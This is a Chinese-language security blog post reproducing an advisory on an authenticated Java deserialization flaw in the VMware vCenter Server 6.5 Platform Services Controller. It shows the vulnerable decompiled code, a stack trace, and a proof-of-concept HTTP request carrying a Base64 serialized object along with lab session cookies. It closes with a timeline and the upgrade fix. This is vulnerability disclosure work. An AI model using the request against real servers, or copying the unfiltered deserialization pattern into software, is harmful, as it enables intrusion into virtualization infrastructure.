狼目安全🕹️BOLG-网络安全博客

0x01 概括

VMware vCenter Server 6.5 Update 3t 的 Platform Services Controller 功能中存在一个不安全的反序列化漏洞。特制的 HTTP 请求可能导致远程代码执行。攻击者可以发送 HTTP 请求来触发此漏洞。

0x02 确认的易受攻击的版本

以下版本经 Talos 测试或验证为易受攻击，或由供应商确认易受攻击。

VMware vCenter Server 6.5 更新 3t

0x03 产品网址

vCenter Server 
https://www.vmware.com/products/vcenter-server.html

0x04 CVSSV3 分数

8.7 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

0x05 细节

VMware vCenter Server 是一个平台，可以集中控制和监控 vSphere 中包含的所有虚拟机和 EXSi 管理程序。

data服务的处理程序中存在认证后 java 反序列化漏洞psc ( Platform Services Controller)。让我们看一下代码中易受攻击的部分。深入到 /psc/data/constraint/{constraintBlob}/ 处理程序的实现，我们可以看到以下代码：

getDataByConstraint

Line 1  @RequestMapping({"/constraint/{constraintBlob}"})
Line 2  @ResponseBody
Line 3  public Map<String, Object> getDataByConstraint(@PathVariable("constraintBlob") String serializedConstraintObject, @RequestParam(value = "properties", required = false) String paramString2) throws Exception {
Line 4    if (StringUtil.isNullOrWhitespace(serializedConstraintObject))
Line 5      return null; 
Line 6    Constraint constraint = CommonUtils.deserializeConstaintFromBase64Str(serializedConstraintObject);
    (...)

Constraint用户可以将附加 Base64 编码的序列化对象作为 url 的一部分传递给这个 servlet line 6。查看实现，deserializeConstaintFromBase64Str我们看到以下代码：

deserializeConstaintFromBase64Str

Line 41  public static Constraint deserializeConstaintFromBase64Str(String paramString) {
Line 42    Constraint constraint = null;
Line 43    byte[] arrayOfByte = Base64.decodeBase64(paramString);
Line 44    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
Line 45    try {
Line 46      JBossObjectInputStream jBossObjectInputStream = new JBossObjectInputStream(byteArrayInputStream);
Line 47      constraint = (Constraint)jBossObjectInputStream.readObject();
Line 48      StreamUtil.close((Closeable)jBossObjectInputStream);
Line 49    } catch (IOException iOException) {
Line 50      _logger.error("Was not able to create a JBossObjectInputStream");
Line 51    } catch (ClassNotFoundException classNotFoundException) {
Line 52      _logger.error("Was not able to deserialize Constraint object from JBossObjectInputStream");
Line 53    } finally {
Line 54      StreamUtil.close(byteArrayInputStream);
Line 55    } 
Line 56    return constraint;
Line 57  }

如您所见，没有与反序列化对象相关的过滤lines 43-46。开发人员根本不检查反序列化的对象类型，然后在line 47. 我们可以通过序列化和发送（例如，一个名为Employee. 在psc日志中，我们可以观察到以下错误：

java.lang.ClassNotFoundException: Employee
    at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1415)
    at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1223)
    at java.lang.Class.forName0(Native Method)
    at java.lang.Class.forName(Class.java:348)
    at org.jboss.serial.io.JBossObjectInputStream.resolveClass(JBossObjectInputStream.java:141)
    at org.jboss.serial.io.JBossObjectInputStream$1.resolveClass(JBossObjectInputStream.java:127)
    at org.jboss.serial.classmetamodel.ClassMetamodelFactory.resolveClassByName(ClassMetamodelFactory.java:266)
    at org.jboss.serial.classmetamodel.ClassMetamodelFactory.getClassMetaData(ClassMetamodelFactory.java:289)
    at org.jboss.serial.classmetamodel.StreamingClass.readStream(StreamingClass.java:72)
    at org.jboss.serial.objectmetamodel.ObjectDescriptorFactory.readObjectDescriptionFromStreaming(ObjectDescriptorFactory.java:381)
    at org.jboss.serial.objectmetamodel.ObjectDescriptorFactory.objectFromDescription(ObjectDescriptorFactory.java:82)
    at org.jboss.serial.objectmetamodel.DataContainer$DataContainerDirectInput.readObject(DataContainer.java:643)
    at org.jboss.serial.io.JBossObjectInputStream.readObjectOverride(JBossObjectInputStream.java:163)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:492)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
    at com.vmware.vise.mvc.util.CommonUtils.deserializeConstaintFromBase64Str(CommonUtils.java:68)
    at com.vmware.vise.mvc.controllers.DataAccessController.getDataByConstraint(DataAccessController.java:142)
    (...)

这种数据反序列化的方法非常危险，可能允许攻击者执行任意命令。

0x06 利用概念证明

请求

GET /psc/data/constraint/amJzMXszAAAAATMAAAACAAAIRW1wbG95ZWUAASL6C7Hsp5eXAAKXEjO-44rgaCk1FZKH_mF7AQQAAAADAAAGTWFyY2luAAB6aQ HTTP/1.1
Host: 192.168.0.109
Cookie: JSESSIONID=D8E403940B6B595FF53158ED63671A69; XSRF-TOKEN=b28efbac-6d3c-4fcb-b177-baee9c1e005e; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; VSPHERE-CLIENT-SESSION-INDEX=_87577cc1f7ac5bba20fe8d947d9ffcfe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/plain, */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Pragma: no-cache
Isangularrequest: true
X-Xsrf-Token: b28efbac-6d3c-4fcb-b177-baee9c1e005e
Referer: https://192.168.0.109/psc/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

0x07 时间线

2022-08-09 - 供应商披露
2022-10-06 - 供应商补丁发布
2022-10-10 - 公开发布

0x08 修复方案

升级 vCenter Server 到 6.5 U3u 或更高版本